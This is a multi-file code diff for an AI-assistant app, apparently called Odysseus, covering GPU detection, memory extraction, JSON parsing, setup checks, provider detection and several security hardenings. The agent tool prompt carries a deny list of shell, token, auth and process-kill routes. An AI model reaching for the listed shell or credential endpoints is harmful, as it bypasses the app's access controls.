# Fallback: a non-interactive shell (or WSL) often has a minimal PATH
|
||||
# that omits where nvidia-smi lives (/usr/bin, /usr/local/cuda/bin,
|
||||
# /usr/lib/wsl/lib), so the first call silently returns nothing →
|
||||
# "No GPU" on machines that DO have GPUs.
|
||||
# Retry through a login shell with the common CUDA bin dirs on PATH.
|
||||
if not out and _remote_host:
|
||||
out = _run(
|
||||
@@ -88,9 +89,16 @@ def _detect_nvidia():
|
||||
# Last resort: call nvidia-smi by absolute path. Some hosts have a login
|
||||
# shell that isn't bash (or a profile that errors), so the bash -lc retry
|
||||
# above still comes back empty even though the binary is right there.
|
||||
if not out and _remote_host:
|
||||
# Also handles WSL where nvidia-smi lives at /usr/lib/wsl/lib/ — a path
|
||||
# that may not be in the server process's PATH.
|
||||
if not out:
|
||||
for _p in ("/usr/bin/nvidia-smi", "/usr/local/bin/nvidia-smi", "/usr/local/cuda/bin/nvidia-smi", "/usr/lib/wsl/lib/nvidia-smi"):
|
||||
out = _run(f"{_p} --query-gpu=memory.total,name --format=csv,noheader,nounits")
|
||||
# Use list form so subprocess.run (local) resolves the absolute path
|
||||
# correctly instead of treating the whole string as an executable name.
|
||||
if _remote_host:
|
||||
out = _run(f"{_p} --query-gpu=memory.total,name --format=csv,noheader,nounits")
|
||||
else:
|
||||
out = _run([_p, "--query-gpu=memory.total,name", "--format=csv,noheader,nounits"])
|
||||
if out:
|
||||
break
|
||||
if not out:
|
||||
|
||||
@@ -192,11 +192,19 @@ def _fallback_memory_candidates(messages) -> list[dict]:
|
||||
if place:
|
||||
add(f"User lives in {place}.", "identity")
|
||||
|
||||
m = re.search(r"\bi (?:prefer|like|love|hate|do not like|don't like)\s+([^.!?\n]{4,100})", text, re.I)
|
||||
m = re.search(r"\bi (prefer|like|love|hate|do not like|don't like)\s+([^.!?\n]{4,100})", text, re.I)
|
||||
if m:
|
||||
preference = _clean_memory_value(m.group(1), 100)
|
||||
preference = _clean_memory_value(m.group(2), 100)
|
||||
if preference:
|
||||
add(f"User prefers {preference}.", "preference")
|
||||
# The same pattern catches likes and dislikes; keep the stored
|
||||
# sentiment faithful instead of recording every match as a
|
||||
# preference ("I hate cilantro" must not become "User prefers
|
||||
# cilantro").
|
||||
verb = m.group(1).lower()
|
||||
if verb in ("hate", "do not like", "don't like"):
|
||||
add(f"User dislikes {preference}.", "preference")
|
||||
else:
|
||||
add(f"User prefers {preference}.", "preference")
|
||||
|
||||
m = re.search(
|
||||
r"\bi (?:(?:want|would like|plan|hope) to|wanna) "
|
||||
|
||||
@@ -63,6 +63,46 @@ def _has_duplicate_title(skills, title: str) -> bool:
|
||||
return False
|
||||
|
||||
|
||||
def _extract_json_object(text: str) -> Optional[dict]:
|
||||
"""Best-effort extraction of a JSON object from an LLM response.
|
||||
|
||||
The response may be wrapped in code fences or surrounded by prose, and some
|
||||
models emit a stray brace in the prose before the real object
|
||||
(e.g. "uses {placeholder} then {...}"). Slicing first-'{' .. last-'}' then
|
||||
grabs an unparseable span and the skill is silently lost. Try the whole
|
||||
string first, then each '{' start position in turn, returning the first
|
||||
candidate that parses to a JSON object (dict). Returns None if none do.
|
||||
"""
|
||||
if not text:
|
||||
return None
|
||||
s = text.strip()
|
||||
if s.startswith("```"):
|
||||
s = s.split("\n", 1)[-1].rsplit("```", 1)[0].strip()
|
||||
end = s.rfind("}")
|
||||
if end == -1:
|
||||
return None
|
||||
|
||||
def _as_dict(candidate):
|
||||
try:
|
||||
obj = json.loads(candidate)
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
return None
|
||||
return obj if isinstance(obj, dict) else None
|
||||
|
||||
# The clean, common case: the whole (de-fenced) string is the object.
|
||||
obj = _as_dict(s)
|
||||
if obj is not None:
|
||||
return obj
|
||||
# Otherwise scan each '{' candidate up to the last '}'.
|
||||
start = s.find("{")
|
||||
while 0 <= start < end:
|
||||
obj = _as_dict(s[start : end + 1])
|
||||
if obj is not None:
|
||||
return obj
|
||||
start = s.find("{", start + 1)
|
||||
return None
|
||||
|
||||
|
||||
async def maybe_extract_skill(
|
||||
session,
|
||||
skills_manager,
|
||||
@@ -169,21 +209,12 @@ async def maybe_extract_skill(
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Parse JSON
|
||||
text = response.strip()
|
||||
if text.startswith("```"):
|
||||
text = text.split("\n", 1)[-1].rsplit("```", 1)[0].strip()
|
||||
# After strip_think, the JSON may still be embedded inside surrounding
|
||||
# commentary — slice from the first '{' to the matching last '}'.
|
||||
if text and text[0] != "{":
|
||||
_start = text.find("{")
|
||||
_end = text.rfind("}")
|
||||
if 0 <= _start < _end:
|
||||
text = text[_start : _end + 1]
|
||||
|
||||
data = json.loads(text)
|
||||
if not data or not isinstance(data, dict):
|
||||
logger.debug("[skill-extract] parsed JSON not a dict, dropping")
|
||||
# Parse JSON. The object may be wrapped in code fences or surrounded by
|
||||
# commentary (and may contain a stray brace before the real object), so
|
||||
# use a tolerant extractor that tries each '{' candidate.
|
||||
data = _extract_json_object(response)
|
||||
if not data:
|
||||
logger.debug("[skill-extract] no JSON object found in response, dropping")
|
||||
return None
|
||||
|
||||
title = data.get("title", "").strip()
|
||||
|
||||
@@ -6,21 +6,29 @@ from collections import Counter
|
||||
from pathlib import Path
|
||||
from typing import Dict, Any
|
||||
|
||||
from core.constants import DATA_DIR
|
||||
|
||||
from .cache import cache_metrics
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Dedicated error logger with file handler
|
||||
_error_log_path = Path(__file__).resolve().parent.parent / "search_engine_error.log"
|
||||
_error_handler = logging.FileHandler(_error_log_path, encoding="utf-8")
|
||||
_error_handler.setLevel(logging.WARNING)
|
||||
_error_handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(name)s %(message)s"))
|
||||
# Dedicated error logger — write to the data logs directory (writable on both
|
||||
# native runs and Docker, where DATA_DIR resolves to the bind-mounted volume).
|
||||
_log_dir = Path(DATA_DIR) / "logs"
|
||||
_error_log_path = _log_dir / "search_engine_error.log"
|
||||
error_logger = logging.getLogger("search_engine_error")
|
||||
error_logger.addHandler(_error_handler)
|
||||
error_logger.propagate = False
|
||||
try:
|
||||
_log_dir.mkdir(parents=True, exist_ok=True)
|
||||
_error_handler = logging.FileHandler(_error_log_path, encoding="utf-8")
|
||||
_error_handler.setLevel(logging.WARNING)
|
||||
_error_handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(name)s %(message)s"))
|
||||
error_logger.addHandler(_error_handler)
|
||||
except Exception as _e:
|
||||
logging.getLogger(__name__).warning("search_engine_error log handler unavailable: %s", _e)
|
||||
|
||||
# Analytics file
|
||||
ANALYTICS_FILE = Path(__file__).resolve().parent.parent / "search_analytics.json"
|
||||
# Analytics file — also in the writable logs volume.
|
||||
ANALYTICS_FILE = _log_dir / "search_analytics.json"
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
|
||||
@@ -6,7 +6,9 @@ initial admin user. Safe to re-run (skips what already exists).
|
||||
"""
|
||||
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
@@ -117,7 +119,16 @@ def create_default_admin():
|
||||
print(f" Temporary password: {password}")
|
||||
print(f" ** Change it after first login. Set ODYSSEUS_ADMIN_PASSWORD to choose your own. **")
|
||||
return "created"
|
||||
except ImportError:
|
||||
except ImportError as e:
|
||||
if "incompatible architecture" in str(e).lower():
|
||||
# bcrypt is present but built for the wrong CPU architecture — the
|
||||
# same Apple Silicon mismatch check_arch() guards against, caught here
|
||||
# for the rarer case of an x86 wheel inside an arm64 venv.
|
||||
print(" [error] bcrypt loaded with the wrong CPU architecture.")
|
||||
print(" Rebuild the venv with an arm64 Python:")
|
||||
print(" rm -rf venv && /opt/homebrew/bin/python3.11 -m venv venv")
|
||||
print(" ./venv/bin/pip install -r requirements.txt")
|
||||
return "skipped"
|
||||
print(" [warn] bcrypt not installed — skipping admin user creation")
|
||||
print(" Run: pip install bcrypt")
|
||||
return "skipped"
|
||||
@@ -167,9 +178,52 @@ def check_deps():
|
||||
print(" [ok] tmux installed")
|
||||
|
||||
|
||||
def check_arch():
|
||||
"""Stop early, with guidance, if we're on Apple Silicon but running an
|
||||
Intel (x86_64) Python through Rosetta.
|
||||
|
||||
A venv built with such an interpreter installs and loads compiled packages
|
||||
(bcrypt, pydantic-core, onnxruntime, …) for the wrong CPU architecture, then
|
||||
dies deep inside an import with a cryptic
|
||||
"(mach-o file, but is an incompatible architecture)" error. Catching it here
|
||||
turns that into one clear, actionable message.
|
||||
"""
|
||||
if sys.platform != "darwin" or platform.machine() == "arm64":
|
||||
return # Not macOS, or already an arm64-native interpreter — nothing to do.
|
||||
|
||||
# platform.machine() == "x86_64": either a genuine Intel Mac (fine) or an x86
|
||||
# interpreter running under Rosetta on Apple Silicon (the case we must catch).
|
||||
try:
|
||||
translated = subprocess.run(
|
||||
["sysctl", "-n", "sysctl.proc_translated"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
).stdout.strip()
|
||||
except Exception:
|
||||
translated = ""
|
||||
if translated != "1":
|
||||
return # Genuine Intel Mac — carry on.
|
||||
|
||||
print("\n [error] This is an Apple Silicon Mac, but setup is running under an")
|
||||
print(" Intel (x86_64) Python through Rosetta. Compiled packages would")
|
||||
print(' load as the wrong architecture and crash with "incompatible')
|
||||
print(' architecture" later on.')
|
||||
print("\n Rebuild the environment with Homebrew's arm64 Python:")
|
||||
print(" brew install python@3.11 # if you don't have it yet")
|
||||
print(" rm -rf venv")
|
||||
print(" /opt/homebrew/bin/python3.11 -m venv venv")
|
||||
print(" ./venv/bin/pip install -r requirements.txt")
|
||||
print(" ./venv/bin/python setup.py")
|
||||
print("\n Tip: ./start-macos.sh does all of this with the right Python.\n")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def main():
|
||||
print("\n=== Odysseus Setup ===\n")
|
||||
|
||||
# Fail fast with a clear message if the CPU architecture is wrong (Apple
|
||||
# Silicon under an x86/Rosetta Python) before importing anything native.
|
||||
check_arch()
|
||||
|
||||
print("1. Creating directories...")
|
||||
create_dirs()
|
||||
|
||||
|
||||
+26
-7
@@ -357,13 +357,13 @@ If the user asks for a reminder/alarm before the event, pass `reminder_minutes`
|
||||
```app_api
|
||||
{"action": "call", "method": "GET", "path": "/api/cookbook/gpus"}
|
||||
```
|
||||
GENERIC LOOPBACK to ANY Odysseus internal endpoint. Use this whenever the user wants something the UI can do but there's NO named tool for it. Every UI button hits some /api/* endpoint — you can hit the same one. Auth is handled automatically.
|
||||
GENERIC LOOPBACK to allowed Odysseus internal endpoints. Use this whenever the user wants something the UI can do but there's NO named tool for it. Many UI buttons hit /api/* endpoints — you can hit allowed ones. Auth is handled automatically.
|
||||
|
||||
**Discovery first.** If you're not sure of the path, call `{"action":"endpoints","filter":"<keyword>"}` (e.g. filter='calendar' or 'gallery' or 'theme') to list available endpoints with their methods + summaries. Then call with action='call'.
|
||||
|
||||
**Common surfaces (use `endpoints` with filter to discover the full set per domain):**
|
||||
- Calendar: `/api/calendar/events`, `/api/calendar/calendars`, `/api/calendar/events/{uid}`
|
||||
- Cookbook: `/api/cookbook/gpus`, `/api/cookbook/state`, `/api/cookbook/setup`, `/api/cookbook/kill-pid`, `/api/cookbook/packages`, `/api/cookbook/hf-latest`, `/api/model/cached`
|
||||
- Cookbook: `/api/cookbook/gpus`, `/api/cookbook/state`, `/api/cookbook/setup`, `/api/cookbook/packages`, `/api/cookbook/hf-latest`, `/api/model/cached`. Do NOT use `app_api` for package installs, engine rebuilds, or PID signalling.
|
||||
- Gallery: `/api/gallery/list`, `/api/gallery/delete`, `/api/gallery/{id}`, `/api/gallery/albums`
|
||||
- Library / Documents: list all via `/api/documents/library`; docs in a session via `/api/documents/{session_id}`; a single doc via `/api/document/{id}` (singular) and its history via `/api/document/{id}/versions` (singular). Note the plural `/api/documents/...` vs singular `/api/document/{id}` split.
|
||||
- Memory: `/api/memory`, `/api/memory/{id}`, `/api/memory/search`
|
||||
@@ -376,12 +376,13 @@ GENERIC LOOPBACK to ANY Odysseus internal endpoint. Use this whenever the user w
|
||||
- Compare: `/api/compare/sessions`, `/api/compare/start`
|
||||
- Email: use named email tools (`list_email_accounts`, `list_emails`, `read_email`, `send_email`, `reply_to_email`). Do NOT use `/api/email/accounts`; it is owner-filtered in tool context and may falsely return empty.
|
||||
- Endpoints (model providers): `/api/endpoints`, `/api/endpoints/{id}`
|
||||
- Shell: do NOT use `app_api` for `/api/shell/*`; use named command tooling instead.
|
||||
|
||||
Body for POST/PUT/PATCH goes in `body` (object). Query params in `query` (object). Returns the parsed JSON of the response.
|
||||
|
||||
**When to prefer named tools over app_api:** if a named wrapper exists (list_email_accounts, list_emails, read_email, manage_calendar, manage_notes, list_served_models, etc.) USE IT — it has nicer output formatting and clearer schema. Reach for `app_api` only when there's no wrapper for what you need.
|
||||
|
||||
Blocked paths (refused for safety): /api/auth/, /api/users/, /api/tokens/, /api/admin/, /api/backup/restore, /api/email/accounts.""",
|
||||
Blocked paths/routes (refused for safety): /api/auth/, /api/users/, /api/tokens/, /api/admin/, /api/shell/, /api/backup/restore, /api/email/accounts, POST /api/cookbook/packages/install, POST /api/cookbook/rebuild-engine, POST /api/cookbook/kill-pid.""",
|
||||
}
|
||||
|
||||
def get_builtin_overrides() -> dict:
|
||||
@@ -1436,6 +1437,18 @@ def build_active_plan_note(approved_plan: str) -> str:
|
||||
)
|
||||
|
||||
|
||||
def _detect_runaway_call(call_freq, threshold=15):
|
||||
"""Tool name of a call signature repeated >= ``threshold`` times — a real
|
||||
runaway loop. Counts IDENTICAL repeated calls (same tool AND args), so a
|
||||
legitimate batch of distinct calls to one tool (e.g. creating 18 calendar
|
||||
events at once) is NOT flagged. Returns ``None`` when nothing is runaway.
|
||||
|
||||
``call_freq`` is a Counter keyed by ``"{tool_type}:{content[:120]}"``.
|
||||
"""
|
||||
sig = next((s for s, n in call_freq.items() if n >= threshold), None)
|
||||
return sig.split(":", 1)[0] if sig else None
|
||||
|
||||
|
||||
async def stream_agent_loop(
|
||||
endpoint_url: str,
|
||||
model: str,
|
||||
@@ -1773,7 +1786,10 @@ async def stream_agent_loop(
|
||||
# signatures + consecutive no-text tool rounds to bail early.
|
||||
_recent_call_sigs = collections.deque(maxlen=6)
|
||||
_stuck_rounds = 0
|
||||
_tool_type_counts: collections.Counter = collections.Counter()
|
||||
# Frequency of each exact call signature (tool + args), for the runaway
|
||||
# backstop. Counting identical repeats — not distinct same-tool calls —
|
||||
# lets a legit batch (e.g. 18 calendar events at once) through.
|
||||
_call_freq: collections.Counter = collections.Counter()
|
||||
_THINK_RE = re.compile(r'<think>.*?</think>', re.DOTALL | re.IGNORECASE)
|
||||
_force_answer = False # set by loop-breaker → next round runs with NO tools
|
||||
# Supervisor: how many times we've nudged the model after it announced
|
||||
@@ -2220,7 +2236,7 @@ async def stream_agent_loop(
|
||||
_is_repeat = _sig in _recent_call_sigs
|
||||
_recent_call_sigs.append(_sig)
|
||||
for _b in tool_blocks:
|
||||
_tool_type_counts[_b.tool_type] += 1
|
||||
_call_freq[f"{_b.tool_type}:{(_b.content or '').strip()[:120]}"] += 1
|
||||
# "Real" answer text = round text minus <think> blocks. Empty-think
|
||||
# rounds (just "<think>\n\n</think>" + a tool call) must not read as
|
||||
# progress, so strip think before checking.
|
||||
@@ -2231,9 +2247,12 @@ async def stream_agent_loop(
|
||||
_stuck_rounds += 1
|
||||
else:
|
||||
_stuck_rounds = 0
|
||||
_runaway = next((t for t, n in _tool_type_counts.items() if n >= 15), None)
|
||||
# Runaway = the SAME exact call repeated an absurd number of times.
|
||||
# Distinct calls to one tool (a real batch) are legitimate work, so we
|
||||
# count identical call signatures, not raw per-tool-type totals.
|
||||
_runaway = _detect_runaway_call(_call_freq)
|
||||
if _stuck_rounds >= 4 or _runaway:
|
||||
reason = (f"calling {_runaway} over and over" if _runaway
|
||||
reason = (f"calling {_runaway} with identical arguments over and over" if _runaway
|
||||
else "repeating the same tool calls without new progress")
|
||||
logger.warning(f"[agent] loop-breaker tripped on round {round_num} ({reason}); sig={_sig[:80]!r}")
|
||||
# The model has been executing tools, so its results are already
|
||||
|
||||
@@ -34,6 +34,24 @@ def effective_user(request: Request) -> Optional[str]:
|
||||
return get_current_user(request)
|
||||
|
||||
|
||||
def _is_api_token_request(request: Request) -> bool:
|
||||
"""Return True when middleware authenticated a bearer API token."""
|
||||
return bool(getattr(request.state, "api_token", False))
|
||||
|
||||
|
||||
def require_authenticated_request(request: Request) -> str:
|
||||
"""Allow either a browser session or a valid bearer API token.
|
||||
|
||||
This is intentionally narrower than :func:`require_user`: use it only for
|
||||
routes that need authentication but do not read or mutate owner-scoped
|
||||
user data. Owner-scoped routes should use ``require_user`` for browser
|
||||
sessions or their own API-token scope/owner gate.
|
||||
"""
|
||||
if _is_api_token_request(request):
|
||||
return effective_user(request) or ""
|
||||
return require_user(request)
|
||||
|
||||
|
||||
def _auth_disabled() -> bool:
|
||||
"""True when the operator has explicitly turned off auth via .env.
|
||||
Mirrors the AUTH_ENABLED parse in app.py / core/middleware.py so the
|
||||
@@ -60,6 +78,9 @@ def require_user(request: Request) -> str:
|
||||
Use this on routes that touch user data so middleware misconfig can't
|
||||
open them up.
|
||||
"""
|
||||
if _is_api_token_request(request):
|
||||
raise HTTPException(403, "API tokens must use a scope-aware API route")
|
||||
|
||||
u = get_current_user(request)
|
||||
if u:
|
||||
return u
|
||||
|
||||
@@ -307,6 +307,7 @@ async def maybe_compact(
|
||||
model: str,
|
||||
messages: List[Dict],
|
||||
headers: Optional[Dict] = None,
|
||||
owner: Optional[str] = None,
|
||||
) -> tuple:
|
||||
"""Check context usage and compact if above threshold.
|
||||
|
||||
@@ -353,7 +354,7 @@ async def maybe_compact(
|
||||
)
|
||||
|
||||
# Use utility model if configured, otherwise fall back to session model
|
||||
util_url, util_model, util_headers = resolve_endpoint("utility")
|
||||
util_url, util_model, util_headers = resolve_endpoint("utility", owner=owner)
|
||||
compact_url = util_url or endpoint_url
|
||||
compact_model = util_model or model
|
||||
compact_headers = util_headers if util_url else headers
|
||||
@@ -380,7 +381,10 @@ async def maybe_compact(
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Compaction summary failed: {e}")
|
||||
return system_msgs + recent, context_length, False
|
||||
# Degrade gracefully: keep the conversation intact rather than
|
||||
# silently dropping the older half. was_compacted=False signals the
|
||||
# caller nothing was summarized; trim_for_context handles length.
|
||||
return messages, context_length, False
|
||||
|
||||
summary_msg = {
|
||||
"role": "system",
|
||||
|
||||
@@ -439,7 +439,8 @@ class DeepResearcher:
|
||||
)
|
||||
cat = (result or "").strip().lower()
|
||||
# Clean one-word answer first.
|
||||
first = cat.split()[0].strip(".,\"'*:") if cat.split() else ""
|
||||
parts = cat.split()
|
||||
first = parts[0].strip(".,\"'*:") if parts else ""
|
||||
if first in CATEGORY_PROMPTS:
|
||||
return first
|
||||
# Weak local models often wrap the label in preamble ("the category
|
||||
|
||||
@@ -105,12 +105,6 @@ async def _handle_event(event_name: str, owner: Optional[str] = None):
|
||||
db.commit()
|
||||
# Fire the task
|
||||
if _task_scheduler:
|
||||
if task.next_run and task.next_run > datetime.utcnow():
|
||||
logger.info(
|
||||
f"Event '{event_name}' reached task '{task.name}', "
|
||||
f"but it is already deferred until {task.next_run}"
|
||||
)
|
||||
continue
|
||||
logger.info(f"Event '{event_name}' triggered task '{task.name}' (every {threshold})")
|
||||
await _task_scheduler.run_task_now(task.id)
|
||||
else:
|
||||
|
||||
@@ -414,6 +414,10 @@ def _detect_provider(url: str) -> str:
|
||||
return "ollama"
|
||||
if _host_match(url, "anthropic.com"):
|
||||
return "anthropic"
|
||||
if _host_match(url, "opencode.ai/zen/go"):
|
||||
return "opencode-go"
|
||||
if _host_match(url, "opencode.ai/zen"):
|
||||
return "opencode-zen"
|
||||
if _host_match(url, "openrouter.ai"):
|
||||
return "openrouter"
|
||||
if _host_match(url, "groq.com"):
|
||||
@@ -451,6 +455,8 @@ def _provider_label(url: str) -> str:
|
||||
if _host_match(url, "x.ai"): return "xAI"
|
||||
if _host_match(url, "openai.com"): return "OpenAI"
|
||||
if _host_match(url, "openrouter.ai"): return "OpenRouter"
|
||||
if _host_match(url, "opencode.ai/zen/go"): return "OpenCode Go"
|
||||
if _host_match(url, "opencode.ai/zen"): return "OpenCode Zen"
|
||||
if _host_match(url, "groq.com"): return "Groq"
|
||||
from src.copilot import is_copilot_base
|
||||
if is_copilot_base(url): return "GitHub Copilot"
|
||||
|
||||
+34
-18
@@ -44,8 +44,7 @@ def discover_tailscale_hosts() -> List[str]:
|
||||
hosts = []
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["tailscale", "status", "--json"],
|
||||
capture_output=True, text=True, timeout=5
|
||||
["tailscale", "status", "--json"], capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return hosts
|
||||
@@ -154,9 +153,13 @@ class ModelDiscovery:
|
||||
r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5)
|
||||
if r.is_success:
|
||||
models = (r.json() or {}).get("models")
|
||||
if (isinstance(models, list) and models
|
||||
and isinstance(models[0], dict)
|
||||
and "key" in models[0] and "architecture" in models[0]):
|
||||
if (
|
||||
isinstance(models, list)
|
||||
and models
|
||||
and isinstance(models[0], dict)
|
||||
and "key" in models[0]
|
||||
and "architecture" in models[0]
|
||||
):
|
||||
return "lmstudio"
|
||||
except Exception:
|
||||
pass
|
||||
@@ -192,12 +195,15 @@ class ModelDiscovery:
|
||||
logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}")
|
||||
|
||||
# Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook),
|
||||
# 1234 (LM Studio), 11434 (Ollama)
|
||||
ports = list(range(8000, 8021)) + [1234, 11434]
|
||||
# 1234 (LM Studio), 11434 (Ollama), 11435 for APFEL as its default port is
|
||||
# occupied by Ollama. The env vars can add more ports which will be merged in.
|
||||
ports = list(range(8000, 8021)) + [1234, 11434, 11435]
|
||||
ports += [p for p in sorted(self._extra_ports) if p not in ports]
|
||||
targets = [(h, p) for h in hosts for p in ports]
|
||||
|
||||
seen_models = set() # dedupe by (port, model_ids) to avoid same machine via different IPs
|
||||
seen_models = (
|
||||
set()
|
||||
) # dedupe by (port, model_ids) to avoid same machine via different IPs
|
||||
|
||||
with ThreadPoolExecutor(max_workers=50) as pool:
|
||||
futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets}
|
||||
@@ -212,7 +218,9 @@ class ModelDiscovery:
|
||||
# Sort by host then port for consistent ordering
|
||||
items.sort(key=lambda x: (x["host"], x["port"]))
|
||||
|
||||
logger.info(f"Discovered {len(items)} model endpoints across {len(hosts)} hosts")
|
||||
logger.info(
|
||||
f"Discovered {len(items)} model endpoints across {len(hosts)} hosts"
|
||||
)
|
||||
return {"hosts": hosts, "items": items}
|
||||
|
||||
def get_providers(self) -> Dict[str, Any]:
|
||||
@@ -223,15 +231,23 @@ class ModelDiscovery:
|
||||
|
||||
if self.openai_api_key:
|
||||
openai_models = [
|
||||
"gpt-5.2-codex", "gpt-4o-mini", "gpt-image-1.5",
|
||||
"gpt-4o", "gpt-5.2", "gpt-5.2-pro",
|
||||
"gpt-5.2-codex",
|
||||
"gpt-4o-mini",
|
||||
"gpt-image-1.5",
|
||||
"gpt-4o",
|
||||
"gpt-5.2",
|
||||
"gpt-5.2-pro",
|
||||
]
|
||||
providers.append({
|
||||
"provider": "openai",
|
||||
"items": [{
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"models": openai_models
|
||||
}]
|
||||
})
|
||||
providers.append(
|
||||
{
|
||||
"provider": "openai",
|
||||
"items": [
|
||||
{
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"models": openai_models,
|
||||
}
|
||||
],
|
||||
}
|
||||
)
|
||||
|
||||
return {"providers": providers}
|
||||
|
||||
+12
-3
@@ -5,7 +5,7 @@ A thin wrapper around VectorRAG for backward compatibility and additional featur
|
||||
"""
|
||||
|
||||
import logging
|
||||
from typing import List, Dict, Any
|
||||
from typing import List, Dict, Any, Optional
|
||||
|
||||
# Try to import from different possible locations
|
||||
try:
|
||||
@@ -34,9 +34,18 @@ class RAGManager:
|
||||
"""Search for documents - delegates to VectorRAG."""
|
||||
return self.vector_rag.search(query, k)
|
||||
|
||||
def index_personal_documents(self, directory: str) -> Dict[str, Any]:
|
||||
def index_personal_documents(
|
||||
self,
|
||||
directory: str,
|
||||
file_extensions: Optional[set] = None,
|
||||
owner: Optional[str] = None,
|
||||
) -> Dict[str, Any]:
|
||||
"""Index documents - delegates to VectorRAG."""
|
||||
return self.vector_rag.index_personal_documents(directory)
|
||||
return self.vector_rag.index_personal_documents(
|
||||
directory,
|
||||
file_extensions=file_extensions,
|
||||
owner=owner,
|
||||
)
|
||||
|
||||
def retrieve(self, query: str, k: int = 5) -> List[str]:
|
||||
"""Retrieve relevant chunks - delegates to VectorRAG."""
|
||||
|
||||
+20
-2
@@ -362,8 +362,26 @@ class ResearchHandler:
|
||||
raise
|
||||
except Exception as e:
|
||||
logger.error(f"Background research failed: {e}", exc_info=True)
|
||||
entry["result"] = str(e)
|
||||
entry["status"] = "error"
|
||||
# Preserve partial findings if available (mirrors timeout branch)
|
||||
researcher = entry.get("researcher")
|
||||
if researcher and researcher.evolving_report:
|
||||
_elapsed = time.time() - entry["started_at"]
|
||||
entry["result"] = self._format_research_report(
|
||||
query, researcher.evolving_report,
|
||||
researcher.get_stats(), _elapsed,
|
||||
)
|
||||
entry["status"] = "done"
|
||||
self._save_result(session_id, entry)
|
||||
try:
|
||||
sources = self._extract_sources(researcher.findings) if researcher.findings else []
|
||||
findings = self._extract_raw_findings(researcher.findings) if researcher.findings else []
|
||||
_guarded_complete(session_id, entry["result"], sources, findings)
|
||||
except Exception as cb_err:
|
||||
logger.warning(f"on_complete callback failed in error branch: {cb_err}")
|
||||
on_progress({"phase": "warning", "message": f"Research finished with errors — partial results saved ({_elapsed:.0f}s elapsed)"})
|
||||
else:
|
||||
entry["result"] = str(e)
|
||||
entry["status"] = "error"
|
||||
|
||||
task = asyncio.create_task(_run())
|
||||
entry["task"] = task
|
||||
|
||||
@@ -132,7 +132,7 @@ async def run_auto_sort(owner: str, skip_llm: bool = False, delete_throwaway: bo
|
||||
if skip_llm:
|
||||
return f"Cleaned {deleted_empty + deleted_throwaway} sessions (folder sort skipped)."
|
||||
|
||||
url, model, headers = resolve_task_endpoint()
|
||||
url, model, headers = resolve_task_endpoint(owner=owner or None)
|
||||
if not url:
|
||||
return f"Cleaned {deleted_empty + deleted_throwaway} sessions. No model endpoint available for sorting."
|
||||
|
||||
|
||||
@@ -18,12 +18,20 @@ _SECRET_KEY_PATTERNS = (
|
||||
"_credential", "_credentials", "_key",
|
||||
)
|
||||
_SECRET_KEY_ALLOW = ("google_pse_cx",) # public identifiers, not secrets
|
||||
_SENSITIVE_KEY_EXACT = (
|
||||
# A stable global integration id is a capability handle for routes that can
|
||||
# trigger outbound webhook sends; do not expose it to non-admin settings
|
||||
# callers even though it is not secret-shaped.
|
||||
"reminder_webhook_integration_id",
|
||||
)
|
||||
|
||||
|
||||
def is_secret_key(name: str) -> bool:
|
||||
n = (name or "").lower()
|
||||
if n in _SECRET_KEY_ALLOW:
|
||||
return False
|
||||
if n in _SENSITIVE_KEY_EXACT:
|
||||
return True
|
||||
return any(n.endswith(p) or n == p.lstrip("_") for p in _SECRET_KEY_PATTERNS)
|
||||
|
||||
|
||||
|
||||
+24
-9
@@ -1315,6 +1315,7 @@ class TaskScheduler:
|
||||
endpoint_url=endpoint_url,
|
||||
model=model,
|
||||
owner=task.owner,
|
||||
folder="Tasks",
|
||||
created_at=_utcnow(),
|
||||
updated_at=_utcnow(),
|
||||
)
|
||||
@@ -1463,6 +1464,7 @@ class TaskScheduler:
|
||||
endpoint_url=endpoint_url or "",
|
||||
model=model_name or "",
|
||||
owner=task.owner,
|
||||
folder="Tasks",
|
||||
created_at=_utcnow(),
|
||||
updated_at=_utcnow(),
|
||||
)
|
||||
@@ -1580,9 +1582,12 @@ class TaskScheduler:
|
||||
try:
|
||||
from core.database import SessionLocal, ModelEndpoint
|
||||
from src.endpoint_resolver import normalize_base, build_headers
|
||||
from src.auth_helpers import owner_filter
|
||||
db2 = SessionLocal()
|
||||
try:
|
||||
eps = db2.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True).all()
|
||||
ep_q = db2.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True)
|
||||
ep_q = owner_filter(ep_q, ModelEndpoint, task.owner or None)
|
||||
eps = ep_q.all()
|
||||
for ep in eps:
|
||||
if normalize_base(ep.base_url) in endpoint_url or endpoint_url in normalize_base(ep.base_url):
|
||||
headers = build_headers(ep.api_key, normalize_base(ep.base_url))
|
||||
@@ -1603,7 +1608,7 @@ class TaskScheduler:
|
||||
# chat uses but with the utility list (`utility_model_fallbacks`).
|
||||
try:
|
||||
from src.endpoint_resolver import resolve_utility_fallback_candidates
|
||||
_task_fallbacks = resolve_utility_fallback_candidates()
|
||||
_task_fallbacks = resolve_utility_fallback_candidates(owner=task.owner or None)
|
||||
except Exception:
|
||||
_task_fallbacks = []
|
||||
async for event_str in stream_agent_loop(
|
||||
@@ -1646,7 +1651,7 @@ class TaskScheduler:
|
||||
else:
|
||||
grace_context += "No tool results were captured."
|
||||
grace_context += "\n\nSummarize what you accomplished and what's still pending. Be concise."
|
||||
_grace_candidates = [(endpoint_url, model, headers)] + resolve_utility_fallback_candidates()
|
||||
